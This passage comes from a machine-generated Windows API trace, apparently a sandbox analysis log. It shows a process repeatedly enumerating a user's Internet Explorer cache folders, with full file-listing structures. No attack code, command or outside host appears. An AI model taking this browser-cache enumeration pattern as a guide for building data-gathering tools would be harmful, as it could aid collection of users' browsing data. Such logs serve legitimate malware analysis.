(dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.463] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\H5AKQRD0", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\H5AKQRD0", lpFilePart=0x0) returned 0x4b [0211.463] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\H5AKQRD0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\h5akqrd0\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x27036b19, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.463] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x27036b19, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.463] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27036b19, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x27036b19, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4aa6b2, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x12aeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="rules[1].xml", cAlternateFileName="RULES_~1.XML")) returned 1 [0211.464] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.464] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.464] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\H5AKQRD0", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\H5AKQRD0", lpFilePart=0x0) returned 0x4b [0211.464] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\H5AKQRD0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\h5akqrd0\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x27036b19, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x27036b19, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0211.465] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x27036b19, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x27036b19, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.465] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27036b19, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x27036b19, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4aa6b2, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x12aeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="rules[1].xml", cAlternateFileName="RULES_~1.XML")) returned 1 [0211.465] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27036b19, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x27036b19, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4aa6b2, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x12aeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="rules[1].xml", cAlternateFileName="RULES_~1.XML")) returned 0 [0211.465] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0211.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.466] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\NPOVC752", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\NPOVC752", lpFilePart=0x0) returned 0x4b [0211.466] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\NPOVC752\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\npovc752\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.466] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.466] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x58f54a, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon[1].ico", cAlternateFileName="FAVICO~1.ICO")) returned 1 [0211.466] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.467] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.467] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\NPOVC752", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\NPOVC752", lpFilePart=0x0) returned 0x4b [0211.467] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\NPOVC752\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\npovc752\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.467] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.468] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x58f54a, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon[1].ico", cAlternateFileName="FAVICO~1.ICO")) returned 1 [0211.470] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x58f54a, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon[1].ico", cAlternateFileName="FAVICO~1.ICO")) returned 0 [0211.470] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.471] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\UKBF3RDE", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\UKBF3RDE", lpFilePart=0x0) returned 0x4b [0211.471] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\UKBF3RDE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\ukbf3rde\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.471] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.472] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.472] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.472] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\UKBF3RDE", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\UKBF3RDE", lpFilePart=0x0) returned 0x4b [0211.472] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\UKBF3RDE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\ukbf3rde\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.473] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.473] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.473] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.473] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", lpFilePart=0x0) returned 0x43 [0211.474] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2e07298, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0211.474] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2e07298, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.474] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e07298, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x2e07298, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2e53871, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x500088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SuggestedSites.dat", cAlternateFileName="SUGGES~1.DAT")) returned 1 [0211.474] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.475] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0211.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.475] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", lpFilePart=0x0) returned 0x43 [0211.475] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2e07298, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2e07298, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0211.475] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2e07298, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2e07298, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.475] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e07298, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x2e07298, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2e53871, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x500088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SuggestedSites.dat", cAlternateFileName="SUGGES~1.DAT")) returned 1 [0211.476] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e07298, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x2e07298, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2e53871, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x500088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SuggestedSites.dat", cAlternateFileName="SUGGES~1.DAT")) returned 0 [0211.476] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0211.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.476] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", lpFilePart=0x0) returned 0x4b [0211.476] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\virtualized\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0211.477] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.477] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.477] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0211.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.874] 